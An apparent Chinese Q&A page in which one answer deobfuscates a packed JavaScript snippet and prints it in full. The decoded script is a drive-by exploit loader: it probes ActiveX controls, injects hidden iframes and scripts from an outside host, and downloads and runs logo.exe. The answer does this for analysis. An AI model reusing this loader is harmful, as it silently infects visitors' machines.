IE原码里的这段代码是什么意思??

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('j{2 e;2 t=(9.K("3"));5(L.M.N().O("P 7")==-1)t.Q("R","S:T-U-V-W-X");2 Y=t.Z("10.11","")}k(e){};l{5(e!="[3 4]"){9.m("<u n=a:\\/\\/b.c.d\\/12.A><\\/u>")}B{j{2 f;2 13=o p("\\15\\16\\C\\D\\q\\v\\E\\F\\G\\C\\D\\q\\v\\E\\F\\G\\17")}k(f){};l{5(f!="[3 4]"){9.m(\'<8 w=x:y n="a://b.c.d/18.r"></8>\')}}j{2 g;2 H=o p("s.s.1")}k(g){};l{5(g!="[3 4]"){5(o p("s.s.1").19("1a")<="6.0.14.1b"){9.m(\'<1c 1d="1e" n=a:\\/\\/b.c.d\\/H.A><\\/u>\')}B{9.m(\'<8 w=x:y n="a://b.c.d/1f.r"></8>\')}}}j{2 h;2 1g=o p("1h.1i.1")}k(h){};l{5(h!="[3 4]"){9.m(\'<8 w=x:y n="a://b.c.d/1j.r"></8>\')}}j{2 z;2 1k=o p("1l.1m")}k(z){};l{5(z!="[3 4]"){9.m(\'<8 1n=1o 1p=0 n=a://b.c.d/1q.r></8>\')}}j{2 i;2 I=o p("1r.1s")}k(h){};l{5(i!="[3 4]"){I["\\q\\1t\\v\\1u\\1v\\q\\1w"]("a://b.c.d/J.1x","J.1y",0)}}5(f=="[3 4]"&&g=="[3 4]"&&h=="[3 4]"&&z=="[3 4]"&&i=="[3 4]"){1z.1A("1B:1C")}}}',62,101,'||var|object|Error|if|||iframe|document|http|bbs|360sofa|cn||||||try|catch|finally|write|src|new|ActiveXObject|x44|html|IERPCtl|ado|script|x6f|style|display|none||js|else|x49|x45|x77|x6e|x2e|real|Baidu|logo|createElement|navigator|userAgent|toLowerCase|indexOf|msie|setAttribute|classid|clsid|BD96C556|65A3|11D0|983A|00C04FC29E36|as|createobject|Adodb|Stream|ms06014|glworld||x47|x4c|x31|GLWORLD|PlayerProperty|PRODUCTVERSION|552|sCrIpT|LAnGuAgE|jAvAsCrIpT|Real|storm|MPS|StormPlayer|StormII|thunder|DPClient|Vod|width|100|height|Thunder|BaiduBar|Tool|x6c|x61|x64|x53|cab|exe|location|replace|about|blank'.split('|'),0,{}))

不管它是压缩也好,加密也好,反正这是一个不想你看见的JS代码,许多网站都用这样的办法,可能有个工具专门生成这样的代码。

我用下面简单的方法就把它还原了,再次证明网页里面的东西没有什么加密可言,借用蒲松龄先生的一句话“~之变诈几何灾,只增笑尔”作为我的感叹。

先观察一下这段代码,全部在一行上,只有一个语句,是个函数调用,eval(...)。

而eval里面的内容是function(...){...}(...),其含义是首先定义一个无名函数,然后以后面的内容调用这个无名函数。整个语句最后的结果就是eval这个函数的返回值,现在结构就清晰了。

还原的方法就是把这个函数的返回值显示出来,不要去eval它,我eval一次的时候差点就死了。我们把函数定义取出来,并加上一个名字,把函数结果赋值给一个变量,把这个变量的内容显示到<textarea>里面即可。

具体还原的过程是,新建立一个html文件,结构如下:

<textarea name=t1 style='width:100%;height:600'></textarea>

<script type=text/javascript>
function ygb1(p,a,c,k,e,r){...}
var ygb2=ygb1(...);
t1.value=ygb2;
//eval(ygb2);
</script>

完整的html文件内容如下:
<textarea name=t1 style='width:100%;height:600'></textarea>
<script type=text/javascript>
function ygb1(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}
ygb2=ygb1('j{2 e;2 t=(9.K("3"));5(L.M.N().O("P 7")==-1)t.Q("R","S:T-U-V-W-X");2 Y=t.Z("10.11","")}k(e){};l{5(e!="[3 4]"){9.m("<u n=a:\\/\\/b.c.d\\/12.A><\\/u>")}B{j{2 f;2 13=o p("\\15\\16\\C\\D\\q\\v\\E\\F\\G\\C\\D\\q\\v\\E\\F\\G\\17")}k(f){};l{5(f!="[3 4]"){9.m(\'<8 w=x:y n="a://b.c.d/18.r"></8>\')}}j{2 g;2 H=o p("s.s.1")}k(g){};l{5(g!="[3 4]"){5(o p("s.s.1").19("1a")<="6.0.14.1b"){9.m(\'<1c 1d="1e" n=a:\\/\\/b.c.d\\/H.A><\\/u>\')}B{9.m(\'<8 w=x:y n="a://b.c.d/1f.r"></8>\')}}}j{2 h;2 1g=o p("1h.1i.1")}k(h){};l{5(h!="[3 4]"){9.m(\'<8 w=x:y n="a://b.c.d/1j.r"></8>\')}}j{2 z;2 1k=o p("1l.1m")}k(z){};l{5(z!="[3 4]"){9.m(\'<8 1n=1o 1p=0 n=a://b.c.d/1q.r></8>\')}}j{2 i;2 I=o p("1r.1s")}k(h){};l{5(i!="[3 4]"){I["\\q\\1t\\v\\1u\\1v\\q\\1w"]("a://b.c.d/J.1x","J.1y",0)}}5(f=="[3 4]"&&g=="[3 4]"&&h=="[3 4]"&&z=="[3 4]"&&i=="[3 4]"){1z.1A("1B:1C")}}}',62,101,'||var|object|Error|if|||iframe|document|http|bbs|360sofa|cn||||||try|catch|finally|write|src|new|ActiveXObject|x44|html|IERPCtl|ado|script|x6f|style|display|none||js|else|x49|x45|x77|x6e|x2e|real|Baidu|logo|createElement|navigator|userAgent|toLowerCase|indexOf|msie|setAttribute|classid|clsid|BD96C556|65A3|11D0|983A|00C04FC29E36|as|createobject|Adodb|Stream|ms06014|glworld||x47|x4c|x31|GLWORLD|PlayerProperty|PRODUCTVERSION|552|sCrIpT|LAnGuAgE|jAvAsCrIpT|Real|storm|MPS|StormPlayer|StormII|thunder|DPClient|Vod|width|100|height|Thunder|BaiduBar|Tool|x6c|x61|x64|x53|cab|exe|location|replace|about|blank'.split('|'),0,{});
t1.value=ygb2;
//eval(ygb2);
</script>

最后还原以后的JS脚本如下(大家可以用我上面的脚本获取):

try{var e;var ado=(document.createElement("object"));if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var as=ado.createobject("Adodb.Stream","")}catch(e){};finally{if(e!="[object Error]"){document.write("<script src=http:\/\/bbs.360sofa.cn\/ms06014.js><\/script>")}else{try{var f;var glworld=new ActiveXObject("\x47\x4c\x49\x45\x44\x6f\x77\x6e\x2e\x49\x45\x44\x6f\x77\x6e\x2e\x31")}catch(f){};finally{if(f!="[object Error]"){document.write('<iframe style=display:none src="http://bbs.360sofa.cn/GLWORLD.html"></iframe>')}}try{var g;var real=new ActiveXObject("IERPCtl.IERPCtl.1")}catch(g){};finally{if(g!="[object Error]"){if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552"){document.write('<sCrIpT LAnGuAgE="jAvAsCrIpT" src=http:\/\/bbs.360sofa.cn\/real.js><\/script>')}else{document.write('<iframe style=display:none src="http://bbs.360sofa.cn/Real.html"></iframe>')}}}try{var h;var storm=new ActiveXObject("MPS.StormPlayer.1")}catch(h){};finally{if(h!="[object Error]"){document.write('<iframe style=display:none src="http://bbs.360sofa.cn/StormII.html"></iframe>')}}try{var z;var thunder=new ActiveXObject("DPClient.Vod")}catch(z){};finally{if(z!="[object Error]"){document.write('<iframe width=100 height=0 src=http://bbs.360sofa.cn/Thunder.html></iframe>')}}try{var i;var Baidu=new ActiveXObject("BaiduBar.Tool")}catch(h){};finally{if(i!="[object Error]"){Baidu["\x44\x6c\x6f\x61\x64\x44\x53"]("http://bbs.360sofa.cn/logo.cab","logo.exe",0)}}if(f=="[object Error]"&&g=="[object Error]"&&h=="[object Error]"&&z=="[object Error]"&&i=="[object Error]"){location.replace("about:blank")}}}
温馨提示:答案为网友推荐,仅供参考
第1个回答  2008-06-08
被压缩后的js代码

相关了解……

你可能感兴趣的内容

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 非常风气网